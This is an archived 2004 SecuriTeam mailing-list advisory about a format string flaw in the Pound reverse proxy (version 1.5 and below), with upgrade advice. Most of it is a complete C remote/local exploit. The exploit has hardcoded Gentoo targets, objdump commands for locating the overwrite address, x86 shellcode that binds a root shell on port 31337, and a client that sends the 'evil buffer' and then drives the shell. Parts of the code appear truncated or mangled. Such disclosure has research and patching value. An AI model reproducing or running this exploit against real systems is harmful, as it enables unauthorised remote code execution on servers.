

[EXPL] Pound Format String Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-05/0032.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 05/09/04

To: list@securiteam.com

Date: 9 May 2004 19:33:06 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Pound Format String Exploit

SUMMARY

"The http://www.apsis.ch/pound/index_html> Pound program is a reverse proxy, load balancer and HTTPS front-end for Web server(s)". A format string vulnerability allows a remote or local attacker to run arbitrary code with the permission of the pound daemon.

DETAILS

Vulnerable Systems:

* Pound version 1.5 and below.

Immune Systems:

* Pound version 1.6 and above.

Solution:

Upgrade to the latest version at: http://www.apsis.ch/pound/index_html>

http://www.apsis.ch/pound/index_html?

Exploit Code:

/*

Pound <=1.5 remote format string exploit (public version)

by

Securiteam: [EXPL] Pound Format String Exploit

Nilanjan De – n2n@front.ru

Eye on Security Research Group, India, <http://www.eos-india.net>

Vendor URL: <http://www.apsis.ch/pound/>

Local exploit is only useful if pound is setuid
The shellcode used doesn't break chroot
if you need to break chroot, use a different shellcode

To find jmpslot:

For remote:

```
objdump -R /usr/sbin/pound|grep pthread_exit|cut -d ' ' -f 1
```

for local:

```
objdump -R /usr/sbin/pound|grep exit|grep -v pthread|cut -d ' ' -f 1
```

Note: In case of remote exploit, since the exploit occurs in one of the threads, you may need to modify this exploit to brute-force the RET address to make the exploit work. Since pound runs in daemon mode, brute forcing it is no problem.

*/

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
#include <sys/types.h>
```

```
#include <sys/socket.h>
```

```
#include <netinet/in.h>
```

```
#include <netdb.h>
```

```
#define PORT 8888
```

```
#define BUFSIZE 1024
```

```
#define NOP 0x90
```

```
#define POUND "/usr/sbin/pound"
```

```
#define COMMAND "TERM=xterm; export TERM=xterm; id;uname -a;\n"
```

```
#define LOCALHOST "127.0.0.1"
```

```
typedef enum {LOCAL,REMOTE} type_t;
```

```
struct target
```

```
{
```

```
char *arch;
```

```
unsigned long jmpslot;
```

```
unsigned long ret;
```

```
unsigned int align;
```

```
unsigned int offset;
```

```
type_t type;
```

```
} targets[]=
```

```
{
```

```
 {"Gentoo – Pound 1.5 remote",0x08055610,0xbf3eda54,3,7,REMOTE},
```

```
 {"Gentoo – Pound 1.5 local",0x08055618,0xbfff410,1,11,LOCAL},
```

```
 {NULL,0x00,0x00,0,0,0}
```

```
};
```

```
/*
```

Securiteam: [EXPL] Pound Format String Exploit

x86 linux fork+portbind shellcode(port 31337)

*/

```
char shellcode[]=
/* sys_fork() */
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\xb0\x02" // movb $0x2,%al
"\xcd\x80" // int $0x80
"\x38\xc3" // cmpl %ebx,%eax
"\x74\x05" // je 0x5
/* sys_exit() */
"\x8d\x43\x01" // leal 0x1(%ebx),%eax
"\xcd\x80" // int $0x80
/* setuid(0) */
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\xb0\x17" // movb $0x17,%al
"\xcd\x80" // int $0x80
/* socket() */
"\x31\xc0" // xorl %eax,%eax
"\x89\x45\x10" // movl %eax,0x10(%ebp)(IPPROTO_IP =
0x0)
"\x40" // incl %eax
"\x89\xc3" // movl %eax,%ebx(SYS_SOCKET = 0x1)
"\x89\x45\x0c" // movl %eax,0xc(%ebp)(SOCK_STREAM =
0x1)
"\x40" // incl %eax
"\x89\x45\x08" // movl %eax,0x8(%ebp)(AF_INET = 0x2)
"\x8d\x4d\x08" // leal 0x8(%ebp),%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x89\x45\x08" // movl %eax,0x8(%ebp)

/* bind()*/
"\x43" // incl %ebx(SYS_BIND = 0x2)
"\x66\x89\x5d\x14" // movw %bx,0x14(%ebp)(AF_INET
= 0x2)
"\x66\xc7\x45\x16\x7a\x69" // movw
$0x697a,0x16(%ebp)(port=31337)
"\x31\xd2" // xorl %edx,%edx
"\x89\x55\x18" // movl %edx,0x18(%ebp)
"\x8d\x55\x14" // leal 0x14(%ebp),%edx
"\x89\x55\x0c" // movl %edx,0xc(%ebp)
"\xc6\x45\x10\x10" // movb
$0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16)
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80

/* listen() */
"\x40" // incl %eax
```

Securiteam: [EXPL] Pound Format String Exploit

```
"\x89\x45\x0c" // movl %eax,0xc(%ebp)
"\x43" // incl %ebx
"\x43" // incl %ebx(SYS_LISTEN = 0x4)
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80

/* accept() */
"\x43" // incl %ebx
"\x89\x45\x0c" // movl %eax,0xc(%ebp)
"\x89\x45\x10" // movl %eax,0x10(%ebp)
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x89\xc3" // movl %eax,%ebx

/* dup2() */
"\x31\xc9" // xorl %ecx,%ecx
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // incl %ecx
"\x80\xf9\x03" // cmpb $0x3,%cl
"\x75\xf6" // jne -0xa

/* execve() */
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80"; // int $0x80
```

```
int
connect_to(char *host, unsigned int port)
{
    struct hostent *h;
    struct sockaddr_in sin;
    int sock;

    if((h=gethostbyname(host))==NULL)
    {
        printf("- Error: Unable to resolve %s\n",host);
        exit(EXIT_FAILURE);
    }
    printf("+ Resolved %s\n",host);
    sin.sin_addr=((struct in_addr *)h->h_addr);
    sin.sin_family=AF_INET;
    sin.sin_port=htons((u_short)port);
    if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
```

Securiteam: [EXPL] Pound Format String Exploit

```
{
perror("socket");exit(EXIT_FAILURE);
}
if(connect(sock,(struct sockaddr*)&sin,sizeof(sin))<0)
{
perror("connect");exit(EXIT_FAILURE);
}
printf("+ Connected\n");
return sock;
}

int sh(int sockfd) {
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;

strcpy(snd, COMMAND "\n");
write(sockfd, snd, strlen(snd));

for (;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);

maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
select(maxfd, &rset, NULL, NULL, NULL);

if (FD_ISSET(fileno(stdin), &rset)) {
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd));
}

if (FD_ISSET(sockfd, &rset)) {
bzero(rcv, sizeof(rcv));

if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
printf("+ Good Bye!\n");
return 0;
}

if (n < 0) {
perror("read");
exit(EXIT_FAILURE);
}

fputs(rcv, stdout);
fflush(stdout);
}
}
```

Securiteam: [EXPL] Pound Format String Exploit

```
    }
  }
}

void
usage(char *programe)
{
  int i;
  printf("Usage: %s <type> [RemoteHost]\n",programe);
  printf("Available types:\n");
  for(i=0;targets[i].arch!=NULL;i++)
  {
    printf("\t%d\t-\t%s\n",i,targets[i].arch);
  }
  exit(EXIT_FAILURE);
}
int
testifworked()
{
}
int main(int argc,char **argv)
{
  char *victim;
  int s;
  int i;
  int high,low;
  unsigned int port=PORT;
  struct target *t;
  char buf[BUFSIZE];
  if(argc<2) usage(argv[0]);
  i=atoi(argv[1]);
  if((i<0)||(i>=(sizeof(targets)/sizeof(struct target))-1))
  {
    printf("- Invalid target type\n");
    exit(EXIT_FAILURE);
  }
  t=&targets[i];

  high=(t->ret & 0xffff0000) >> 16;
  low=(t->ret & 0x0000ffff);

  memset(buf,NOP,BUFSIZE-1);
  buf[BUFSIZE-1]=0;

  if(t->type==REMOTE)
  {
    if(argc<3) usage(argv[0]);
    victim=argv[2];
```

Securiteam: [EXPL] Pound Format String Exploit

```
}

if(high>low)
{
*((unsigned long*)(buf+t->align))=t->jmpslot;
*((unsigned long*)(buf+t->align+4))=t->jmpslot+2;
}
else
{
*((unsigned long*)(buf+t->align))=t->jmpslot+2;
*((unsigned long*)(buf+t->align+4))=t->jmpslot;
high^=low^=high^=low;
}
buf[t->align+9]=0;

if(t->type==REMOTE)
low-=0x16+t->align;
else
low-=0x28+t->align;

i=sprintf(buf+t->align+9,BUFSIZE-1,"% % dx % % d$hn % % dx % % d$hn",low,t->offset,high-low,t->offset+
buf[t->align+9+i]=NOP;
memcpy(buf+BUFSIZE-6-strlen(shellcode),shellcode,strlen(shellcode));
buf[BUFSIZE-3]=buf[BUFSIZE-5]='\r';
buf[BUFSIZE-2]=buf[BUFSIZE-4]='\n';

if(t->type==LOCAL)
{
if(!fork())
{
execl(POUND,"pound","-f",buf,0);
perror("exec");exit(EXIT_FAILURE);
}
victim=LOCALHOST;
}
else
{
printf("+ Connecting to victim\n");
s=connect_to(victim,port);
printf("+ Attach?");
scanf("%c",&i);
printf("+ Sending evil buffer\n");
if(send(s,buf,BUFSIZE,0)!=BUFSIZE)
{
perror("send");exit(EXIT_FAILURE);
}
close(s);
}

sleep(1);
```

Securiteam: [EXPL] Pound Format String Exploit

```
printf("+ Checking if exploit worked\n");  
s=connect_to(victim,31337);  
sh(s);  
exit(EXIT_SUCCESS);  
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:n2n@front.ru> Nilanjan De.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.